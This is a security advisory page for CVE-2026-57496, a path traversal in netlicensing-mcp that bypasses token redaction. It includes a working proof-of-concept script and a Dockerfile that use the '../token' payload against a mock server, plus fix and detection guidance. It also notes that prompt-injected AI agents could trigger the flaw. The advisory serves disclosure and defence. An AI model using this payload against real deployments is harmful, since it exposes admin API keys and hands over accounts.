CVE-2026-57496: netlicensing-mcp: REST Path Traversal Bypasses Token Redaction
netlicensing-mcp before 0.1.8 lets an MCP client read plaintext NetLicensing API keys that the server is meant to mask. Passing `../token` as the `product_number` of `netlicensing_get_product` sends the request to the token endpoint, and the response skips token redaction. Upgrade to 0.1.8.
Published Jun 18, 2026 · Updated Oct 15, 2026 · Analysis Oct 25, 2026
What an attacker can do
get_product in src/netlicensing_mcp/tools/products.py builds the path /product/{product_number} with no validation. A value of ../token gives /product/../token. httpx applies WHATWG URL normalization and sends the request to /core/v2/rest/token, the token endpoint.
The handler then wraps the answer with the generic _wrap_json(entity, "Product"), not _wrap_json_token_read. Only redact_token_read() in redaction.py masks the APIKEY number and the SHOP shopURL, and it never runs. The raw key comes back in the tool output, and the console_url field embeds it too.
The attacker is an MCP client with a valid NetLicensing API key that can call tools. That includes an AI agent steered by a prompt injection. The proof of concept returned a token with ROLE_APIKEY_ADMIN. Such a key gives read, write and delete access to every resource in the NetLicensing account, so a scoped client becomes the account owner (scope changed in the CVSS vector). It works in stdio and shared HTTP modes with no special configuration. The dedicated netlicensing_get_token and netlicensing_list_tokens tools mask these values, which is the control being bypassed.
Who is affected
The pip package netlicensing-mcp before 0.1.8. The report tested 0.1.5 (commit c8a3fec). Every deployment mode is affected, and the Docker image ghcr.io/labs64/netlicensing-mcp is covered if its tag is below 0.1.8. Check:
pip show netlicensing-mcpnetlicensing-mcp
- Ecosystem
- PyPI
- Affected
- < 0.1.8
- Fixed in
- 0.1.8
- Check
pip show netlicensing-mcp
How to fix it
Upgrade to netlicensing-mcp 0.1.8.
pip install --upgrade netlicensing-mcp==0.1.8The container image is ghcr.io/labs64/netlicensing-mcp:0.1.8. The release lists the fix as a REST path traversal correction, merged in pull request 6. The advisory's suggested approach is a path-segment validator in client.py for nl_get, nl_post, nl_put and nl_delete, rejecting ., .., slashes and control characters after URL-decoding. No workaround is documented. After upgrading, rotate any APIKEY tokens that an untrusted client or agent could have reached, starting with admin-role keys.
How to tell if you were hit
Search MCP tool-call logs for netlicensing_get_product calls whose product_number contains .., /, %2e or %2f. In NetLicensing's own API logs, look for requests to the token endpoint that came from the MCP server at the time of product lookups. Review the NetLicensing account for actions by an APIKEY you did not expect, and for new tokens or changed resources. Beam records MCP tool calls an agent makes, so a netlicensing_get_product call with ../token would show in the record.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The netlicensing_get_product MCP tool in netlicensing-mcp interpolates a caller-controlled product_number argument directly into a REST URL path without any validation. Passing ../token as the product number causes httpx to normalize /product/../token into /token, silently redirecting the request to the NetLicensing token endpoint instead of the intended product endpoint. The response is then serialized through the generic _wrap_json wrapper rather than the token-specific _wrap_json_token_read wrapper, bypassing all APIKEY number and SHOP shopURL redaction. An authenticated MCP client can recover plaintext API key values that the token read tools intentionally mask, including admin-level APIKEY credentials.
Details
The vulnerability is a path traversal (CWE-22) that exploits the interaction between unsanitized string interpolation and httpx's WHATWG URL normalization.
Source — `src/netlicensing_mcp/tools/products.py:22`
async def get_product(product_number: str) -> dict:
"""Get a single product by its number."""
return strip_output_fields(await nl_get(f"/product/{product_number}"))product_number is inserted directly into the REST path with no validation. A value of ../token produces the path /product/../token.
Sink — `src/netlicensing_mcp/client.py:143`
async def nl_get(path: str, params: dict[str, str] | None = None) -> dict[str, Any]:
client = _get_client()
url = f"{BASE_URL}{path}"
...
r = await client.get(url, headers=_headers(), params=params or {})httpx constructs the full URL as {BASE_URL}/product/../token and, per WHATWG URL normalization rules applied to absolute URLs, resolves it to {BASE_URL}/token. The HTTP request is therefore sent to the NetLicensing /core/v2/rest/token endpoint.
Redaction bypass — `src/netlicensing_mcp/server.py:336` and `src/netlicensing_mcp/redaction.py:180-239`
The tool handler wraps the response via _wrap_json(entity, "Product"), which calls only the generic _json() redaction. The token-specific path _wrap_json_token_read() → redact_token_read() is never invoked. The function redact_token_read() at redaction.py:180-239 is the only code that masks APIKEY number and SHOP shopURL fields; because it is not on this code path, the raw API key value is returned verbatim in the MCP tool output.
Complete data flow:
server.py:312-321— MCP dispatcher receives attacker-controlledproduct_numberand callsproducts.get_product(product_number).tools/products.py:22— value interpolated intof"/product/{product_number}"without validation.client.py:143—url = f"{BASE_URL}{path}";httpxnormalizes../and sends request to/tokenendpoint.server.py:336— response wrapped as"Product"via_wrap_json, not_wrap_json_token_read.server.py:160-165— generic_json()redaction applies only default-field masking.redaction.py:180-239—redact_token_read()with APIKEY/SHOP-specific masking is never reached.
PoC
Prerequisites
- Python 3.10+
netlicensing-mcp0.1.5 (or local commitc8a3fec) installed or available viaPYTHONPATHhttpx,python-dotenv,mcp[cli]installed
Option A — Docker (recommended, reproduces Phase 2 result)
# Build from the repository root (requires repo/ and vuln-001/ directories)
docker build -t netlicensing-vuln-001 \
-f vuln-001/Dockerfile \
reports/pypiAi_1561_Labs64__NetLicensing-MCP/
# Run — exit code 0 confirms the vulnerability
docker run --rm netlicensing-vuln-001Option B — Direct Python
cd /path/to/Labs64__NetLicensing-MCP
PYTHONPATH=src python3 - <<'PY'
import asyncio, json, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
seen = []
secret = "actual-api-key-value-5678"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
seen.append(self.path)
if self.path.endswith("/token"):
body = {"items":{"item":[{"type":"Token","property":[
{"name":"number","value":secret},
{"name":"tokenType","value":"APIKEY"},
{"name":"role","value":"ROLE_APIKEY_ADMIN"},
{"name":"active","value":"true"}
]}]}}
data = json.dumps(body).encode()
self.send_response(200)
self.send_header("Content-Type","application/json")
self.send_header("Content-Length",str(len(data)))
self.end_headers()
self.wfile.write(data)
else:
self.send_response(404); self.end_headers()
def log_message(self, *args): pass
srv = HTTPServer(("127.0.0.1", 0), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
async def main():
import netlicensing_mcp.client as c
c.BASE_URL = f"http://127.0.0.1:{srv.server_port}/core/v2/rest"
tok = c.api_key_ctx.set("dummy")
try:
from netlicensing_mcp.server import netlicensing_get_product
out = await netlicensing_get_product("../token")
print("UPSTREAM_PATH=" + seen[0])
print("SECRET_LEAKED=" + str(secret in out))
print(out)
finally:
c.api_key_ctx.reset(tok)
await c.close_client()
srv.shutdown()
asyncio.run(main())
PYExpected output
UPSTREAM_PATH=/core/v2/rest/token
PATH_TRAVERSAL_OK=True
SECRET_LEAKED=True
=== MCP tool output (netlicensing_get_product('../token')) ===
{
"number": "actual-api-key-value-5678",
"tokenType": "APIKEY",
"role": "ROLE_APIKEY_ADMIN",
"active": true,
"type": "Token",
"console_url": "https://ui.netlicensing.io/#/tokens/actual-api-key-value-5678",
"warnings": [],
"suggested_actions": []
}
[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint and plaintext secret 'actual-api-key-value-5678' is present in MCP outputThe number field contains the raw API key value and console_url embeds it in plaintext — both fields that redact_token_read() would otherwise mask.
Remediation
Add a centralized path-segment validator in client.py and call it from all HTTP helper functions (nl_get, nl_post, nl_put, nl_delete):
+from urllib.parse import unquote
+
+def _validated_path(path: str) -> str:
+ if not path.startswith("/"):
+ raise NetLicensingError(400, "Internal error: upstream path must start with '/'")
+ for segment in path.split("/"):
+ decoded = unquote(segment)
+ if decoded in {".", ".."} or "/" in decoded or "\\" in decoded:
+ raise NetLicensingError(400, "Invalid identifier: path separators are not allowed")
+ if any(ord(ch) < 32 for ch in decoded):
+ raise NetLicensingError(400, "Invalid identifier: control characters are not allowed")
+ return path
+
async def nl_get(path: str, ...) -> dict[str, Any]:
- url = f"{BASE_URL}{path}"
+ url = f"{BASE_URL}{_validated_path(path)}"Apply the same change to nl_post, nl_put, and nl_delete. Add regression tests for inputs ../token, %2e%2e, %2f, and x/y.
Impact
An authenticated MCP client (one that already holds a NetLicensing API key sufficient to call any MCP tool) can call netlicensing_get_product("../token") to retrieve plaintext APIKEY number values and SHOP shopURL values that the dedicated token read tools (netlicensing_get_token, netlicensing_list_tokens) intentionally redact. If the retrieved token carries ROLE_APIKEY_ADMIN privileges, the attacker gains full read/write/delete access over all resources in the target NetLicensing account, escalating from a scoped MCP client to account owner.
This vulnerability is exploitable in any deployment mode — stdio (single-user) and HTTP/shared — because no non-default configuration is required. The attack requires only a valid API key to authenticate the MCP session; no admin privileges are needed to trigger the traversal.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
WORKDIR /app
# Copy the cloned repository source
COPY repo/ /app/repo/
# Install runtime dependencies directly to avoid hatch-vcs version-detection
# issues when building outside a proper git-tagged worktree.
RUN pip install --no-cache-dir \
"httpx>=0.27.0" \
"python-dotenv>=1.0.0" \
"mcp[cli]>=1.7.0"
# Make the package importable via PYTHONPATH (avoids editable-install build step)
ENV PYTHONPATH=/app/repo/src
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
# Exit code 0 = PASS (secret leaked), 1 = FAIL
CMD ["python3", "/app/poc.py"]poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept: REST Path Traversal Bypasses Token Redaction
=======================================================================
Vulnerability: netlicensing_get_product(product_number="../token")
Attack flow:
1. product_number="../token" is interpolated into f"/product/{product_number}"
=> path = "/product/../token"
2. client.py builds url = f"{BASE_URL}/product/../token"
3. httpx normalizes the URL per WHATWG: /product/../token => /token
=> actual HTTP request lands on BASE_URL/token (the token endpoint)
4. Response is wrapped via _wrap_json(..., "Product") which calls _json()
=> only default-field redaction (apiKey, secret, etc.) runs
=> _wrap_json_token_read() / redact_token_read() is NEVER called
5. APIKEY token "number" field (= the raw API key value) is returned in
plaintext in the MCP tool output.
Expected exit codes:
0 — PASS: path traversal confirmed AND secret found in MCP output
1 — FAIL: could not confirm the vulnerability
"""
import asyncio
import json
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# Sentinel value used as the fake APIKEY token number (the "leaked secret").
SECRET_APIKEY = "actual-api-key-value-5678"
# Collects every upstream request path received by the mock server.
seen_paths: list[str] = []
class MockNetLicensingHandler(BaseHTTPRequestHandler):
"""Minimal mock of the NetLicensing REST API for PoC isolation."""
def do_GET(self) -> None:
seen_paths.append(self.path)
# Respond to ANY path ending with "/token" to capture both the
# normalized (/core/v2/rest/token) and raw (/core/v2/rest/product/../token)
# cases — in practice httpx always sends the normalized form.
if self.path.endswith("/token"):
body: dict = {
"items": {
"item": [
{
"type": "Token",
"property": [
{"name": "number", "value": SECRET_APIKEY},
{"name": "tokenType", "value": "APIKEY"},
{"name": "role", "value": "ROLE_APIKEY_ADMIN"},
{"name": "active", "value": "true"},
],
}
]
}
}
data = json.dumps(body).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
else:
self.send_response(404)
self.end_headers()
def log_message(self, *args: object) -> None:
pass # Suppress per-request log noise
async def run_poc(server_port: int) -> bool:
"""
Invoke the vulnerable MCP tool with the traversal payload and check
whether the upstream path was normalized and the secret leaked.
Returns True when both conditions are confirmed.
"""
import netlicensing_mcp.client as client
from netlicensing_mcp.server import netlicensing_get_product
# Redirect the HTTP client to the mock server.
original_base_url = client.BASE_URL
client.BASE_URL = f"http://127.0.0.1:{server_port}/core/v2/rest"
# Inject a dummy API key so _headers() does not raise a 503.
ctx_token = client.api_key_ctx.set("dummy-key-for-poc")
try:
# ---- THE EXPLOIT ------------------------------------------------
# Pass "../token" as product_number.
# products.get_product calls nl_get(f"/product/../token")
# httpx normalizes /product/../token -> /token
# The request hits /core/v2/rest/token on the mock server.
# The response is serialized via _wrap_json (not _wrap_json_token_read)
# so the APIKEY "number" field is NOT masked.
# -----------------------------------------------------------------
result: str = await netlicensing_get_product("../token")
upstream_path = seen_paths[0] if seen_paths else "(none received)"
path_traversal_ok = upstream_path == "/core/v2/rest/token"
secret_in_output = SECRET_APIKEY in result
print(f"UPSTREAM_PATH={upstream_path}")
print(f"PATH_TRAVERSAL_OK={path_traversal_ok}")
print(f"SECRET_LEAKED={secret_in_output}")
print()
print("=== MCP tool output (netlicensing_get_product('../token')) ===")
print(result)
print("=== end ===")
if path_traversal_ok and secret_in_output:
print()
print(
"[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint "
f"and plaintext secret '{SECRET_APIKEY}' is present in MCP output"
)
else:
if not path_traversal_ok:
print(
f"[FAIL] Path traversal did not work: upstream_path={upstream_path!r}, "
"expected /core/v2/rest/token"
)
if not secret_in_output:
print(
f"[FAIL] Secret '{SECRET_APIKEY}' not found in MCP output — "
"redaction may have been applied unexpectedly"
)
return path_traversal_ok and secret_in_output
finally:
client.api_key_ctx.reset(ctx_token)
await client.close_client()
client.BASE_URL = original_base_url
def main() -> None:
# Bind the mock server on a random loopback port.
mock_server = HTTPServer(("127.0.0.1", 0), MockNetLicensingHandler)
port: int = mock_server.server_address[1]
server_thread = threading.Thread(target=mock_server.serve_forever, daemon=True)
server_thread.start()
print(f"[*] Mock NetLicensing REST API listening on 127.0.0.1:{port}")
print(f"[*] Invoking netlicensing_get_product(product_number='../token')")
print()
try:
success = asyncio.run(run_poc(port))
finally:
mock_server.shutdown()
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()Credited to EQSTLab, yym8538.
Questions
- Does the attacker need a NetLicensing API key?
Yes. They must be an authenticated MCP client able to call tools. The flaw escalates that access by exposing other keys, including admin-role ones, that the server should mask.
- Which netlicensing-mcp version fixes CVE-2026-57496?
0.1.8. Anything below it is listed as vulnerable.
- Why does the redaction fail?
The traversal makes a product lookup return token data, and the response goes through the generic product wrapper. The token-specific masking in
redact_token_read()is never called.- Is it exploited in the wild?
No source reports exploitation, and it is not in CISA's KEV catalog. The advisory includes a mock-server proof of concept.
References
Read for this analysis:
- https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-hxpf-9xvq-wph8
- https://github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.8
- https://nvd.nist.gov/vuln/detail/CVE-2026-57496
- https://github.com/Labs64/NetLicensing-MCP/pull/6
- https://github.com/Labs64/NetLicensing-MCP/commit/b8fd0ea76d533202573eb24add9fb2fbd9331496
- https://github.com/pypa/advisory-database/tree/main/vulns/netlicensing-mcp/PYSEC-2026-3489.yaml
- https://github.com/advisories/GHSA-hxpf-9xvq-wph8
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
